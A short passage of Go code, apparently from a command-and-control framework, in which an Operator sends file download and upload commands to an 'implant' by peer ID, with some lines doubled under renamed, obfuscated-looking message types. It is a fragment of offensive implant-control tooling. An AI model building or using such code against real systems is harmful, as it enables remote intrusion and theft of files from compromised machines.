req := &arachnepb.DownloadReq{Path: path}
req := &apb.Z22{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req)
}
func (o *Operator) Upload(implantPeerID string, path string, data []byte) error {
req := &arachnepb.UploadReq{
req := &apb.Z24{
Path: path,
Data: data,
Overwrite: true,